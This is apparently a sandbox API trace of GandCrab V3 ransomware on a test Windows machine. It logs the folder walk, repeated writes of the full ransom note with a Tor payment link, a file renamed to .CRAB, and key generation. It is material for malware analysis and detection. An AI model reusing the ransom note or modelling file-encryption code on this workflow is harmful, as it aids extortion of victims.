	[0134.062] FindClose (in: hFindFile=0x3249470 | out: hFindFile=0x3249470) returned 1
	[0134.063] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0134.063] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1
	[0134.063] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1
	[0134.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo"
	[0134.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\"
	[0134.063] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.063] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0134.063] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0134.063] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0134.063] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0134.063] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.063] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0134.064] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0134.064] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0134.064] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0134.064] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0134.064] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0134.064] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.064] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\\\CRAB-DECRYPT.txt") returned 46
	[0134.064] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\sendto\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0134.068] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0134.068] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0134.069] CloseHandle (hObject=0x3d4) returned 1
	[0134.069] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.069] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned 29
	[0134.069] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*"
	[0134.069] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0134.069] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0134.069] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1
	[0134.069] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1
	[0134.070] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu"
	[0134.070] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\"
	[0134.070] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.070] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0134.070] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0134.070] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0134.070] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0134.070] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.070] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0134.070] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0134.070] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0134.070] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0134.070] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0134.071] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0134.071] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.071] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\\\CRAB-DECRYPT.txt") returned 50
	[0134.071] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\start menu\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0134.072] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0134.072] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0134.072] CloseHandle (hObject=0x3d4) returned 1
	[0134.073] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.073] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned 33
	[0134.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*"
	[0134.073] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0134.073] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0134.073] lstrcmpW (lpString1="Templates", lpString2=".") returned 1
	[0134.073] lstrcmpW (lpString1="Templates", lpString2="..") returned 1
	[0134.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates"
	[0134.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\"
	[0134.073] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.073] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0134.074] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0134.074] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0134.074] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0134.074] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.074] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0134.074] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0134.074] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0134.074] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0134.074] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0134.074] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0134.074] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.074] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\\\CRAB-DECRYPT.txt") returned 49
	[0134.075] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\templates\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0134.076] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0134.076] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0134.076] CloseHandle (hObject=0x3d4) returned 1
	[0134.077] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned 32
	[0134.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*"
	[0134.077] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0134.077] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0134.077] lstrcmpW (lpString1="Videos", lpString2=".") returned 1
	[0134.077] lstrcmpW (lpString1="Videos", lpString2="..") returned 1
	[0134.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos"
	[0134.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\"
	[0134.077] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.077] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0134.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0134.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0134.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0134.078] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0134.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0134.078] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0134.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0134.078] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0134.078] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0134.078] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.078] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\\\CRAB-DECRYPT.txt") returned 46
	[0134.078] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0134.079] GetLastError () returned 0x50
	[0134.079] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.079] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned 29
	[0134.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*"
	[0134.079] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3248f30
	[0134.079] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0134.079] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.079] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0134.079] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0134.079] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.079] lstrcmpW (lpString1="-iWXN.mkv", lpString2=".") returned 1
	[0134.080] lstrcmpW (lpString1="-iWXN.mkv", lpString2="..") returned 1
	[0134.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="-iWXN.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv"
	[0134.080] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.080] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv") returned 38
	[0134.080] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv") returned 38
	[0134.080] lstrlenW (lpString=".mkv") returned 4
	[0134.080] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.080] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0134.080] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv") returned 38
	[0134.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv") returned 38
	[0134.081] lstrcmpiW (lpString1="-iWXN.mkv", lpString2="desktop.ini") returned 1
	[0134.081] lstrcmpiW (lpString1="-iWXN.mkv", lpString2="autorun.inf") returned 1
	[0134.081] lstrcmpiW (lpString1="-iWXN.mkv", lpString2="ntuser.dat") returned -1
	[0134.081] lstrcmpiW (lpString1="-iWXN.mkv", lpString2="iconcache.db") returned 1
	[0134.081] lstrcmpiW (lpString1="-iWXN.mkv", lpString2="bootsect.bak") returned 1
	[0134.081] lstrcmpiW (lpString1="-iWXN.mkv", lpString2="boot.ini") returned 1
	[0134.081] lstrcmpiW (lpString1="-iWXN.mkv", lpString2="ntuser.dat.log") returned -1
	[0134.081] lstrcmpiW (lpString1="-iWXN.mkv", lpString2="thumbs.db") returned -1
	[0134.081] lstrcmpiW (lpString1="-iWXN.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.081] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.081] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv.CRAB") returned 43
	[0134.081] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-iwxn.mkv")) returned 0x20
	[0134.082] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv", dwFileAttributes=0x20) returned 1
	[0134.082] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-iwxn.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-iwxn.mkv.crab")) returned 1
	[0134.083] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.083] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv.CRAB"
	[0134.083] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv.CRAB.CRAB"
	[0134.083] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0134.084] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.085] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.085] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.085] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.085] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.085] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.085] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0134.086] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.087] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.087] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.087] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.087] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.087] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.087] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.088] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.088] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0134.089] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249430) returned 1
